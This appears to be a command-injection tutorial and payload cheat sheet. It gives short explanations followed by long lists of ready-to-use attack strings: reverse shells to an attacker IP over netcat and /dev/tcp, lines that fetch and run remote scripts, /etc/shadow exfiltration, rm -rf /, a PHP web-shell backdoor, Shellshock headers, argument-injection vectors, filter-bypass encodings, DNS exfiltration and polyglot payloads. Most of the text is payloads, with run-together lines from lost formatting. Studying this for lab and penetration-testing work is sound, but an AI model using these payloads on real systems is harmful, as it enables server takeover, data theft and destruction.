Introduction to Command Injection
Command injection is when an attacker tricks a web application into running system commands that it shouldn’t. This happens when the application takes user input and directly passes it to the systemC without proper validation. Since the commands run with the same permissions as the application, the attacker can use it like a system shell to execute unauthorized actions.
The main reason command injection happens is weak input validation attackers can manipulate input fields, cookies, or HTTP headers to insert their commands.
This attack is similar to code injection, where an attacker adds their own code to an application’s existing code. However, in code injection, the injected code runs within the application, while in command injection, the attacker runs actual system commands.
Risks and Real-World Examples
- Hackers can run system commands – If an application is vulnerable, attackers can execute commands on the server, just like an authorized user.
- Sensitive data can be stolen – Passwords, system files, and database records can be exposed.
- Hackers can gain full control – By escalating privileges, they can turn a simple attack into total system takeover.
- Servers can crash – Malicious commands can overload the system, making the application unusable.
- Attackers can stay hidden – They can install backdoors to maintain access even after fixing the vulnerability.
- Other systems can be attacked – Once inside, attackers can move to other connected systems and spread the attack.
Commonly Affected Applications
- Web Applications – (Login pages, admin panels, file upload forms)
- IoT Devices & Routers – (D-Link, Netgear, TP-Link, Cisco routers)
- CMS Platforms – (WordPress, Joomla, Drupal with vulnerable plugins)
- Network Management Tools – (Web-based monitoring and configuration panels)
- Databases & Web APIs – (APIs executing shell commands, database management scripts)
- Custom Admin Panels – (Internal business apps allowing automation commands)
- Embedded Systems & ICS – (SCADA systems, industrial control software)
- Email & Messaging Services – (Mail servers executing commands via email content)
- Cloud Services & Hosting Panels – (cPanel, Plesk, AWS Lambda with improper input handling)
- CI/CD Pipelines & DevOps Tools – (Jenkins, GitHub Actions, GitLab CI running user-defined commands)
Methodology
Command injection attacks happen when a vulnerable app lets user input control system commands. First, the attacker finds an input field or API that uses system commands. They then inject malicious commands using symbols like ;, &&, or |. If the command runs, they check for signs that it worked.
If successful, they might escalate their access to get more control, like viewing sensitive files or running restricted actions. They can also set up backdoors to stay in the system, move to other devices, or steal data. Finally, they’ll erase logs to hide what they've done.
Identifying Injection Points
Basic Command Termination: (ends the ping command and lists files).
127.0.0.1; ls
Background Command Execution: (runs ping and deletes files in the background).
127.0.0.1 & rm -rf /
Subshell Execution: (runs ping and executes whoami).
127.0.0.1; echo $(whoami)
Chained Commands: (lists files and shows sensitive data if successful).
127.0.0.1; ls && cat /etc/passwd
URL-Encoded Payloads: (URL-encoded semicolon to bypass input filters).
127.0.0.1%3B%20ls
Accessing Sensitive Files: (displays contents of sensitive files).
127.0.0.1; cat /etc/passwd
Basic Injection Techniques
Semicolon Injection The semicolon is used to terminate the current command and allow the attacker to chain additional commands.
127.0.0.1; ls127.0.0.1; cat /etc/passwd127.0.0.1; rm -rf /127.0.0.1; whoami
Ampersand Injection (&) The ampersand (&) allows multiple commands to run simultaneously.
127.0.0.1 & ls127.0.0.1 & touch /tmp/testfile127.0.0.1 & rm -rf /127.0.0.1 & echo "malicious command"
Pipe Injection (|) The pipe (|) operator is used to pass the output of one command as input to another.
127.0.0.1 | ls127.0.0.1 | cat /etc/passwd127.0.0.1 | echo $(whoami)127.0.0.1 | id
Backtick Injection (`) Backticks or $() are used to execute commands within commands, allowing an attacker to run system commands.
127.0.0.1; echo \whoami``127.0.0.1; echo \ls``127.0.0.1; echo \cat /etc/passwd``127.0.0.1; echo \id``
Double Ampersand Injection (&&) The && operator executes the second command only if the first one is successful.
127.0.0.1; ls && cat /etc/passwd127.0.0.1; ls && rm -rf /127.0.0.1; echo "test" && id127.0.0.1; whoami && touch /tmp/testfile
URL Encoding URL encoding is used to bypass input filters that block special characters by encoding them as %xx.
127.0.0.1%3B%20ls127.0.0.1%26%20ls127.0.0.1%3B%20cat%20/etc/passwd127.0.0.1%26%20echo%20"test"
Basic Commands
cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/sh
Executing Simple Commands
These payloads allow attackers to execute arbitrary commands on a vulnerable system.
; whoami| id$(uname -a)& net user; cat /etc/passwd|| echo "Injected!"' OR 1=1; --
Output Redirection
Attackers can redirect command output to files or send data over a network.
whoami > /tmp/user.txtid >> /var/tmp/logs.txtecho $(cat /etc/passwd) > /dev/tcp/attacker-ip/4444; nc -e /bin/sh attacker-ip 4444; curl http://attacker.com/shell.sh | bashcmd.exe /c "whoami > C:\Users\Public\log.txt"cat /etc/shadow | nc attacker-ip 8080wget http://attacker-ip/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware
Command Concatenation
By chaining commands, attackers can execute multiple payloads in a single request.
whoami && idls /home/user; pwdnc -lvnp 4444 && bash -iwget http://malicious-site.com/shell.sh && bash shell.shecho "Compromised" && rm -rf /ping -c 4 8.8.8.8 && echo "Ping Done"echo "Inject" || cat /etc/passwdpowershell -Command "Start-Process cmd -ArgumentList '/c whoami > C:\Users\Public\log.txt' -NoNewWindow"
Chaining Commands
In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
command1; command2 # Execute command1 and then command2command1 && command2 # Execute command2 only if command1 succeedscommand1 || command2 # Execute command2 only if command1 failscommand1 & command2 # Execute command1 in the backgroundcommand1 | command2 # Pipe the output of command1 into command2
Using ;, &&, ||
The semicolon ; allows multiple commands to be executed sequentially, regardless of whether the previous command succeeds or fails.
whoami; idls -la; pwdcat /etc/passwd; echo "Done"ping -c 4 8.8.8.8; netstat -anrm -rf /; echo "Oops"
The && operator ensures that the second command executes only if the first command succeeds.
whoami && idls /home/user && cat /etc/passwdping -c 4 8.8.8.8 && echo "Ping Successful"wget http://attacker-ip/malware && bash malwarerm -rf / && echo "System Deleted"
The || operator executes the second command only if the first command fails.
whoami || echo "Command Failed"cat /etc/shadow || echo "No Access"ls /root || echo "Permission Denied"ping -c 1 8.8.8.8 || echo "Ping Failed"rm -rf / || echo "Failed to Delete System"
Combining with Logical Operators
Attackers can chain logical operators for more control over execution flow.
whoami && id || echo "Command Failed"ls /home/user; cat /etc/passwd && echo "File Read"ping -c 1 8.8.8.8 || echo "Network Down" && netstat -anwget http://attacker-ip/script.sh && chmod +x script.sh; ./script.shrm -rf / || echo "Failed" && echo "Attempting Again"
Argument Injection
Gain a command execution when you can only append arguments to an existing command. Use this website [Argument Injection Vectors ](lhttps://sonarsource.github.io/argument-injection-vectors/- Sonar to find the argument to inject to gain command execution.
- Chrome (Chromium-based browsers)
chrome '--gpu-launcher="id>/tmp/foo"'chrome '--js-flags="--trace-sync-io | id > /tmp/foo"'chrome '--renderer-cmd-prefix="touch /tmp/hacked"'chromium-browser '--disable-gpu-watchdog; /bin/bash -c id'
2. SSH (Secure Shell)
ssh '-oProxyCommand="touch /tmp/foo"' foo@foossh '-oProxyCommand="id > /tmp/foo"' foo@barssh '-oUserKnownHostsFile=/dev/null -oProxyCommand="nc attacker-ip 4444 -e /bin/sh"' user@targetssh '-oPermitLocalCommand=yes -oLocalCommand="id > /tmp/foo"' foo@bar
3. PostgreSQL (psql)
psql -o'|id>/tmp/foo'psql -c 'copy (SELECT system("id > /tmp/foo")) to stdout'psql -F'|/bin/bash -c "id > /tmp/foo"'psql --pset footer=off --pset title='|id>/tmp/foo'
4. Python (Interactive Shell & Debug Mode)
python3 -c "import os; os.system('id > /tmp/foo')"python3 -m venv "--clear; id > /tmp/foo"python3 -X faulthandler=1 -c 'import os; os.system("id > /tmp/foo")'python3 -q --help | id > /tmp/foo
5. Perl (Command Execution via Arguments)
perl -e 'system("id > /tmp/foo")'perl -MFile::Glob=bsd_glob -e 'print bsd_glob("|id > /tmp/foo")'perl -pi -e 'print qx(id) > /tmp/foo' file.txtperl -0777 -pe 's/.*/qx{id>/tmp/foo}/e'
6. PHP (Command Injection via Options)
php -r 'system("id > /tmp/foo");'php -d auto_prepend_file='/tmp/foo.php' -r 'echo "Injected";'php -B 'system("id > /tmp/foo");'php -R 'system("id > /tmp/foo");'
7. Tar (Exploiting Compression Tools)
tar -cf /dev/null --checkpoint=1 --checkpoint-action=exec=idtar -xvf archive.tar --to-command='id > /tmp/foo'tar --use-compress-program="id > /tmp/foo" -cf /dev/null /etc/passwdtar -cf archive.tar --to-command='sh -c "id > /tmp/foo"'
Argument Injection via WorstFit Technique
The WorstFit technique allows injecting arguments using unexpected Unicode characters or misinterpreted encoding to bypass security mechanisms.
- Abuse of Fullwidth Characters (U+FF02, U+FF07, etc.) By using Unicode fullwidth characters, arguments can be manipulated to bypass filters.
ssh "-oProxyCommand=id > /tmp/foo" foo@barchrome "--gpu-launcher=id>/tmp/foo"psql -o"|id>/tmp/foo"wget "--execute=command=id > /tmp/foo" https://example.comcurl "-o webshell.php http://attacker.com/shell.txt"
2. Argument Injection with curl (Redirecting Execution Flow) If direct command execution isn’t possible, redirecting malicious payloads into files can lead to Remote Code Execution (RCE).
curl http://attacker.com/shell.php -o /var/www/html/shell.phpcurl --data-binary '<?php system($_GET["cmd"]); ?>' -o /var/www/html/backdoor.phpcurl "https://malicious.com/script.sh" -o /tmp/script.sh && bash /tmp/script.shcurl -H "User-Agent: () { :; }; /bin/bash -c 'id > /tmp/foo'" http://target.com
3. Exploiting wget for Argument Injection By appending arguments, we can manipulate wget to write files in unintended locations.
wget -q "https://example.com/malware" -O /var/www/html/shell.phpwget --post-file=malicious.php http://target.com/uploadwget --header="User-Agent: () { :; }; /bin/bash -c 'nc -e /bin/sh attacker-ip 4444'" http://target.comwget --execute="id > /tmp/foo"
4. Other Services Exploitable via Argument Injection Python
python3 -c "import os; os.system('id > /tmp/foo')"python3 -X utf8 -c "import os; os.system('wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh')"
Perl
perl -MFile::Glob=bsd_glob -e 'print bsd_glob("|id > /tmp/foo")'perl -pi -e 'print qx(id) > /tmp/foo' file.txt
PHP
php -d auto_prepend_file='/tmp/foo.php' -r 'echo "Injected";'php -B 'system("id > /tmp/foo");'
Inside a Command
Command injection using backticks.
original_cmd_by_server `cat /etc/passwd`
Command injection using substitution
original_cmd_by_server $(cat /etc/passwd)
Injecting within Quotes
echo 'test'"; id #grep "admin" && whoamicat "file.txt" || uname -aping -c 1 "example.com; nc -e /bin/sh attacker-ip 4444"
Bypass Techniques
Space and Line Break Bypasses
$IFS is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret $IFS as a space. $IFS does not directly work as a separator in commands like ls, wget; use ${IFS} instead
cat${IFS}/etc/passwdls${IFS}-la
Bypass With a Line Return
original_cmd_by_serverls
Bypass With Backslash Newline ()
$ cat /et\c/pa\sswd
URL encoded form
cat%20/et%5C%0Ac/pa%5C%0Asswd
Character and Encoding Bypasses
Bypassing With Hex Encoding Hex encoding allows the use of hexadecimal values to represent characters, which helps bypass input filters that block specific characters like /, ;, or |
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"cat $(echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
Using xxd to Decode Hex xxd can be used to convert hex back into normal characters. This allows commands to be executed after being encoded in hex.
xxd -r -p <<< 2f6574632f706173737764 # Output: /etc/passwdcat $(xxd -r -p <<< 2f6574632f706173737764) # Output: /etc/passwd
Using Base64 Encoding Base64 encoding can also be used to bypass filters. The encoded string can then be decoded during execution.
echo -n "cat /etc/passwd" | base64 # Base64 encoded: Y2F0IC9ldGMvcGFzc3dkcat $(echo -n "cat /etc/passwd" | base64 --decode) # Output: /etc/passw
Using Unicode Encoding Unicode encoding can represent characters with their Unicode code points, allowing the injection of commands without using typical ASCII characters
echo -e "\u0063\u0061\u0074\u0020\u002F\u0065\u0074\u0063\u002F\u0070\u0061\u0073\u0073\u0077\u0064"cat $(echo -e"\u0063\u0061\u0074\u0020\u002F\u0065\u0074\u0063\u002F\u0070\u0061\u0073\u0073\u0077\u0064") #
Bypass With Tilde Expansion (~)
echo ~+echo ~-
Bypass With Brace Expansion ({})
{,ip,a}{,ifconfig}{,ifconfig,eth0}{l,-lh}s{,echo,#test}{,$"whoami",}{,/?s?/?i?/c?t,/e??/p??s??,}
Bypass Characters Filter
swissky@crashlab:~$ echo ${HOME:0:1}/swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwdroot:x:0:0:root:/root:/bin/bashswissky@crashlab:~$ echo . | tr '!-0' '"-1'/swissky@crashlab:~$ tr '!-0' '"-1' <<< ./swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwdroot:x:0:0:root:/root:/bin/bash
Bypass Characters Filter Via Hex Encoding
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"/etc/passwdswissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`root:x:0:0:root:/root:/bin/bashswissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abcroot:x:0:0:root:/root:/bin/bashswissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`root:x:0:0:root:/root:/bin/bashswissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764/etc/passwdswissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`root:x:0:0:root:/root:/bin/bashswissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)/etc/passwdswissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`root:x:0:0:root:/root:/bin/bash
Bypass With Single Quote (')
w'h'o'am'iwh''oami'w'hoami
Bypass With Double Quote (")
w"h"o"am"iwh""oami"wh"oami
Bypass With Backticks (`)
wh``oami
Bypass With Backslash and Slash (\ and /)
w\ho\am\i/\b\i\n/////s\h
Environment and Shell Variable Bypasses
curl http://victim.com/upload?file=${IFS}/etc/passwd
Bypass With $@
who$@amiecho whoami|$0
Bypass With $()
who$()amiwho$(echo am)iwho`echo am`i
Bypass With Variable Expansion
/???/??t /???/p??s??test=/ehhh/hmtc/pahhh/hmsswdcat ${test//hhh\/hm/}cat ${test//hh??hm/}
Bypass With Wildcards (*, ?)
powershell C:\*\*2\n??e*d.*? # notepad@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
Bypass With Built-In Commands (exec, eval, sh)
eval('ls -la /etc')exec('cat /etc/passwd')sh -c 'cat /etc/passwd'
Bypass With IFS (Internal Field Separator Manipulation)
cat${IFS}/etc/passwdls${IFS}-la${IFS}/home/userecho${IFS}"malicious_code" |${IFS}sh
Advanced Exploitation Techniques
Data Exfiltration
Time-Based Data Exfiltration
The system is instructed to wait based on a condition, and the time difference is used to determine the correct value. Correct value (delay of 5 seconds)
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fireal 0m5.007suser 0m0.000ssys 0m0.000s
Incorrect value (no delay)
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fireal 0m0.002suser 0m0.000ssys 0m0.000s
DNS-Based Data Exfiltration
The attacker sends data to a DNS server (or service), typically over multiple DNS queries. This can be done using a public service or custom DNS server. This command queries each item from the ls / output as a DNS request to a domain hosted at dnsbin.zhack.ca.
for i in $(ls /); do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
Online tools for DNS-based exfiltration dnsbin.zhack.ca Interactsh [Burp Collaborator]
Polyglot Command Injection
Polyglot command injection involves crafting payloads that can bypass various filters and execute commands in different contexts (e.g., inside single quotes, double quotes, or shell environments). These payloads exploit parsing and execution behavior differences across various environments. Basic Polyglot Command
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# Double quotes: (No filtering, executes in most shells)echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}# Single quotes: (Still valid, different context)echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}# Mixed single and double quotesecho "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
Advanced Polyglot with Multiple Injection Contexts
# Using multiple quote types and escape sequencesecho 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/# Single quotes with multiple environmentsecho 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'# Double quotes, valid in both shell and PHPecho "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
Polyglot with Conditional Execution and Comments
# In double quotes, valid in both shell and web environmentsecho "1 || echo 'Hacked'; /* $(echo $(sleep 5)) */ -echo $(sleep 5) #"# In single quotes, still functional due to different parsing behaviorecho '1 || echo "Hacked"; /* $(echo $(sleep 5)) */ -echo $(sleep 5) #'
Polyglot Exploit with Inline Execution
1 ; echo $(sleep 5) ; `sleep 5` ; # /bin/sh -c "echo 5"
Labs
PortSwigger - OS command injection, simple case PortSwigger - Blind OS command injection with time delays PortSwigger - Blind OS command injection with output redirection PortSwigger - Blind OS command injection with out-of-band interaction PortSwigger - Blind OS command injection with out-of-band data exfiltration Root Me - PHP - Command injection Root Me - Command injection - Filter bypass Root Me - PHP - assert Command Injection
Cheatsheet
PayloadsAllTheThings Command Injection Payload List OS_Command_Payload_List Mail-Injection OS Command Injection Defense Cheat Sheet
Tools
- Commix(Command Injection Exploiter)
- Burp Suite Pro
- Metasploit Framework
- SQLMap
- OWASP ZAP(Zed Attack Proxy)
- Nikto
- Netcat (nc)
- Hydra
- Wapit